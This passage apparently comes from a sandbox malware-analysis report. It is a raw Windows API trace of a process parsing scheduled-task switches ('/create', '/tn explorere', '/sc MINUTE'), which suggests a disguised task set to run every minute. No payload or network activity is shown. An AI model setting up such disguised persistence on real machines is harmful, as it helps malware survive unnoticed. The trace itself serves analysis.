cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.993] lstrlenW (lpString="rp") returned 2 [0116.993] GetThreadLocale () returned 0x409 [0116.993] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.993] lstrlenW (lpString="sc") returned 2 [0116.993] GetThreadLocale () returned 0x409 [0116.993] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.993] lstrlenW (lpString="mo") returned 2 [0116.993] GetThreadLocale () returned 0x409 [0116.993] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.993] lstrlenW (lpString="d") returned 1 [0116.993] GetThreadLocale () returned 0x409 [0116.993] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.993] lstrlenW (lpString="m") returned 1 [0116.993] GetThreadLocale () returned 0x409 [0116.993] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.993] lstrlenW (lpString="i") returned 1 [0116.993] GetThreadLocale () returned 0x409 [0116.993] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.993] lstrlenW (lpString="tn") returned 2 [0116.993] GetThreadLocale () returned 0x409 [0116.993] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.993] lstrlenW (lpString="tr") returned 2 [0116.993] GetThreadLocale () returned 0x409 [0116.993] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.993] lstrlenW (lpString="st") returned 2 [0116.993] GetThreadLocale () returned 0x409 [0116.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.994] lstrlenW (lpString="sd") returned 2 [0116.994] GetThreadLocale () returned 0x409 [0116.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.994] lstrlenW (lpString="ed") returned 2 [0116.994] GetThreadLocale () returned 0x409 [0116.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.994] lstrlenW (lpString="it") returned 2 [0116.994] GetThreadLocale () returned 0x409 [0116.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.994] lstrlenW (lpString="et") returned 2 [0116.994] GetThreadLocale () returned 0x409 [0116.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.994] lstrlenW (lpString="k") returned 1 [0116.994] GetThreadLocale () returned 0x409 [0116.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.994] lstrlenW (lpString="du") returned 2 [0116.994] GetThreadLocale () returned 0x409 [0116.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.994] lstrlenW (lpString="ri") returned 2 [0116.994] GetThreadLocale () returned 0x409 [0116.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.994] lstrlenW (lpString="z") returned 1 [0116.994] GetThreadLocale () returned 0x409 [0116.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.994] lstrlenW (lpString="f") returned 1 [0116.994] GetThreadLocale () returned 0x409 [0116.994] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.994] lstrlenW (lpString="v1") returned 2 [0116.995] GetThreadLocale () returned 0x409 [0116.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.995] lstrlenW (lpString="xml") returned 3 [0116.995] GetThreadLocale () returned 0x409 [0116.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.995] lstrlenW (lpString="ec") returned 2 [0116.995] GetThreadLocale () returned 0x409 [0116.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.995] lstrlenW (lpString="rl") returned 2 [0116.995] GetThreadLocale () returned 0x409 [0116.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.995] lstrlenW (lpString="delay") returned 5 [0116.995] GetThreadLocale () returned 0x409 [0116.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.995] lstrlenW (lpString="np") returned 2 [0116.995] GetThreadLocale () returned 0x409 [0116.995] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0116.995] lstrlenW (lpString="hresult") returned 7 [0116.995] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.995] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.995] lstrlenW (lpString="/create") returned 7 [0116.995] lstrlenW (lpString="-/") returned 2 [0116.995] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0116.995] lstrlenW (lpString="create") returned 6 [0116.995] lstrlenW (lpString="create") returned 6 [0116.995] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.995] lstrlenW (lpString="create") returned 6 [0116.995] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.995] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|create|") returned 8 [0116.996] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|create|") returned 8 [0116.996] lstrlenW (lpString="|create|") returned 8 [0116.996] lstrlenW (lpString="|create|") returned 8 [0116.996] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0116.996] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.996] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.996] RtlRestoreLastWin32Error () returned 0x73cd904000 [0116.996] lstrlenW (lpString="/tn") returned 3 [0116.996] lstrlenW (lpString="-/") returned 2 [0116.996] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0116.996] lstrlenW (lpString="create") returned 6 [0116.996] lstrlenW (lpString="create") returned 6 [0116.996] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.996] lstrlenW (lpString="tn") returned 2 [0116.996] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.996] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|create|") returned 8 [0116.996] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0116.996] lstrlenW (lpString="|create|") returned 8 [0116.996] lstrlenW (lpString="|tn|") returned 4 [0117.024] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0117.024] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.024] lstrlenW (lpString="?") returned 1 [0117.024] lstrlenW (lpString="?") returned 1 [0117.024] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.025] lstrlenW (lpString="tn") returned 2 [0117.025] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.025] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|?|") returned 3 [0117.025] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0117.025] lstrlenW (lpString="|?|") returned 3 [0117.025] lstrlenW (lpString="|tn|") returned 4 [0117.025] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.025] lstrlenW (lpString="s") returned 1 [0117.025] lstrlenW (lpString="s") returned 1 [0117.025] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.025] lstrlenW (lpString="tn") returned 2 [0117.025] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.025] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|s|") returned 3 [0117.025] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0117.025] lstrlenW (lpString="|s|") returned 3 [0117.025] lstrlenW (lpString="|tn|") returned 4 [0117.025] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.025] lstrlenW (lpString="u") returned 1 [0117.025] lstrlenW (lpString="u") returned 1 [0117.025] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.025] lstrlenW (lpString="tn") returned 2 [0117.025] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.025] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|u|") returned 3 [0117.025] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0117.025] lstrlenW (lpString="|u|") returned 3 [0117.025] lstrlenW (lpString="|tn|") returned 4 [0117.026] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.026] lstrlenW (lpString="p") returned 1 [0117.026] lstrlenW (lpString="p") returned 1 [0117.026] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.026] lstrlenW (lpString="tn") returned 2 [0117.026] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.026] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|p|") returned 3 [0117.026] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0117.026] lstrlenW (lpString="|p|") returned 3 [0117.026] lstrlenW (lpString="|tn|") returned 4 [0117.026] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.026] lstrlenW (lpString="ru") returned 2 [0117.026] lstrlenW (lpString="ru") returned 2 [0117.026] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.026] lstrlenW (lpString="tn") returned 2 [0117.026] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.026] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|ru|") returned 4 [0117.026] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0117.026] lstrlenW (lpString="|ru|") returned 4 [0117.026] lstrlenW (lpString="|tn|") returned 4 [0117.026] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0117.026] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.026] lstrlenW (lpString="rp") returned 2 [0117.026] lstrlenW (lpString="rp") returned 2 [0117.026] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.026] lstrlenW (lpString="tn") returned 2 [0117.026] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.027] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|rp|") returned 4 [0117.027] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0117.027] lstrlenW (lpString="|rp|") returned 4 [0117.027] lstrlenW (lpString="|tn|") returned 4 [0117.027] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0117.027] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.027] lstrlenW (lpString="sc") returned 2 [0117.027] lstrlenW (lpString="sc") returned 2 [0117.027] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.027] lstrlenW (lpString="tn") returned 2 [0117.027] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.027] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|sc|") returned 4 [0117.027] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0117.027] lstrlenW (lpString="|sc|") returned 4 [0117.027] lstrlenW (lpString="|tn|") returned 4 [0117.027] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0117.027] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.027] lstrlenW (lpString="mo") returned 2 [0117.027] lstrlenW (lpString="mo") returned 2 [0117.027] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.027] lstrlenW (lpString="tn") returned 2 [0117.027] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.027] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|mo|") returned 4 [0117.027] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0117.027] lstrlenW (lpString="|mo|") returned 4 [0117.027] lstrlenW (lpString="|tn|") returned 4 [0117.028] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0117.028] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.028] lstrlenW (lpString="d") returned 1 [0117.028] lstrlenW (lpString="d") returned 1 [0117.028] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.028] lstrlenW (lpString="tn") returned 2 [0117.028] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.028] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|d|") returned 3 [0117.028] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0117.028] lstrlenW (lpString="|d|") returned 3 [0117.028] lstrlenW (lpString="|tn|") returned 4 [0117.028] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.028] lstrlenW (lpString="m") returned 1 [0117.028] lstrlenW (lpString="m") returned 1 [0117.028] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.028] lstrlenW (lpString="tn") returned 2 [0117.028] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.028] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|m|") returned 3 [0117.029] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0117.029] lstrlenW (lpString="|m|") returned 3 [0117.029] lstrlenW (lpString="|tn|") returned 4 [0117.029] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.029] lstrlenW (lpString="i") returned 1 [0117.029] lstrlenW (lpString="i") returned 1 [0117.029] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.029] lstrlenW (lpString="tn") returned 2 [0117.029] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.029] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|i|") returned 3 [0117.029] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0117.029] lstrlenW (lpString="|i|") returned 3 [0117.029] lstrlenW (lpString="|tn|") returned 4 [0117.029] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.029] lstrlenW (lpString="tn") returned 2 [0117.029] lstrlenW (lpString="tn") returned 2 [0117.029] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.029] lstrlenW (lpString="tn") returned 2 [0117.029] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.029] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0117.029] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|tn|") returned 4 [0117.029] lstrlenW (lpString="|tn|") returned 4 [0117.029] lstrlenW (lpString="|tn|") returned 4 [0117.029] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0117.029] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.029] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.029] lstrlenW (lpString="explorere") returned 9 [0117.029] lstrlenW (lpString="-/") returned 2 [0117.030] StrChrIW (lpStart="-/", wMatch=0x65) returned 0x0 [0117.030] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.030] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.030] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.030] lstrlenW (lpString="explorere") returned 9 [0117.030] StrChrIW (lpStart="explorere", wMatch=0x3a) returned 0x0 [0117.030] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.030] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.030] lstrlenW (lpString="explorere") returned 9 [0117.030] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.030] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.030] lstrlenW (lpString="/sc") returned 3 [0117.030] lstrlenW (lpString="-/") returned 2 [0117.030] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0117.030] lstrlenW (lpString="create") returned 6 [0117.030] lstrlenW (lpString="create") returned 6 [0117.030] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.030] lstrlenW (lpString="sc") returned 2 [0117.030] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.030] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x9, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|create|") returned 8 [0117.030] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|sc|") returned 4 [0117.030] lstrlenW (lpString="|create|") returned 8 [0117.030] lstrlenW (lpString="|sc|") returned 4 [0117.030] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0117.030] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.030] lstrlenW (lpString="?") returned 1 [0117.030] lstrlenW (lpString="?") returned 1 [0117.030] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.030] lstrlenW (lpString="sc") returned 2 [0117.030] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.031] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|?|") returned 3 [0117.031] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|sc|") returned 4 [0117.031] lstrlenW (lpString="|?|") returned 3 [0117.031] lstrlenW (lpString="|sc|") returned 4 [0117.031] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.031] lstrlenW (lpString="s") returned 1 [0117.031] lstrlenW (lpString="s") returned 1 [0117.031] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.031] lstrlenW (lpString="sc") returned 2 [0117.031] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.031] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|s|") returned 3 [0117.031] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|sc|") returned 4 [0117.031] lstrlenW (lpString="|s|") returned 3 [0117.031] lstrlenW (lpString="|sc|") returned 4 [0117.031] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.031] lstrlenW (lpString="u") returned 1 [0117.031] lstrlenW (lpString="u") returned 1 [0117.031] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.031] lstrlenW (lpString="sc") returned 2 [0117.031] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.031] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|u|") returned 3 [0117.031] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|sc|") returned 4 [0117.031] lstrlenW (lpString="|u|") returned 3 [0117.031] lstrlenW (lpString="|sc|") returned 4 [0117.031] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.031] lstrlenW (lpString="p") returned 1 [0117.032] lstrlenW (lpString="p") returned 1 [0117.032] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.032] lstrlenW (lpString="sc") returned 2 [0117.032] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.032] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x4, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|p|") returned 3 [0117.032] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|sc|") returned 4 [0117.032] lstrlenW (lpString="|p|") returned 3 [0117.032] lstrlenW (lpString="|sc|") returned 4 [0117.032] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.032] lstrlenW (lpString="ru") returned 2 [0117.032] lstrlenW (lpString="ru") returned 2 [0117.032] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.032] lstrlenW (lpString="sc") returned 2 [0117.032] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.032] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|ru|") returned 4 [0117.032] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|sc|") returned 4 [0117.032] lstrlenW (lpString="|ru|") returned 4 [0117.032] lstrlenW (lpString="|sc|") returned 4 [0117.032] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0117.032] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.032] lstrlenW (lpString="rp") returned 2 [0117.032] lstrlenW (lpString="rp") returned 2 [0117.032] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.032] lstrlenW (lpString="sc") returned 2 [0117.032] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.032] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|rp|") returned 4 [0117.033] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|sc|") returned 4 [0117.033] lstrlenW (lpString="|rp|") returned 4 [0117.033] lstrlenW (lpString="|sc|") returned 4 [0117.033] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0117.033] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.033] lstrlenW (lpString="sc") returned 2 [0117.033] lstrlenW (lpString="sc") returned 2 [0117.033] _memicmp (_Buf1=0x2556b0d47f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.033] lstrlenW (lpString="sc") returned 2 [0117.033] _memicmp (_Buf1=0x2556b0d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.033] _vsnwprintf (in: _Buffer=0x2556b0d3b00, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|sc|") returned 4 [0117.033] _vsnwprintf (in: _Buffer=0x2556b0d4310, _BufferCount=0x5, _Format="|%s|", _ArgList=0x73cd6bc838 | out: _Buffer="|sc|") returned 4 [0117.033] lstrlenW (lpString="|sc|") returned 4 [0117.033] lstrlenW (lpString="|sc|") returned 4 [0117.033] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0117.033] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.033] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.033] lstrlenW (lpString="MINUTE") returned 6 [0117.033] lstrlenW (lpString="-/") returned 2 [0117.033] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0117.033] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.033] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.033] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.033] lstrlenW (lpString="MINUTE") returned 6 [0117.033] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0117.033] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.033] RtlRestoreLastWin32Error () returned 0x73cd904000 [0117.033] GetProcessHeap () returned 0x2556b0d0000 [0117.033] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0x18) returned 0x2556b0da940 [0117.034] _memicmp (_Buf1=0x2556b0da940, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0117.034] lstrlenW (lpString="MINUTE") returned 6 [0117.034] GetProcessHeap () returned 0x2556b0d0000 [0117.034] RtlAllocateHeap (HeapHandle=0x2556b0d0000, Flags=0xc, Size=0xe) returned 0x2556b0dab20 [0117.034] lstrlenW (lpString="MINUTE") returned 6 [0117.034] lstrlenW (lpString=" \x09") returned 2 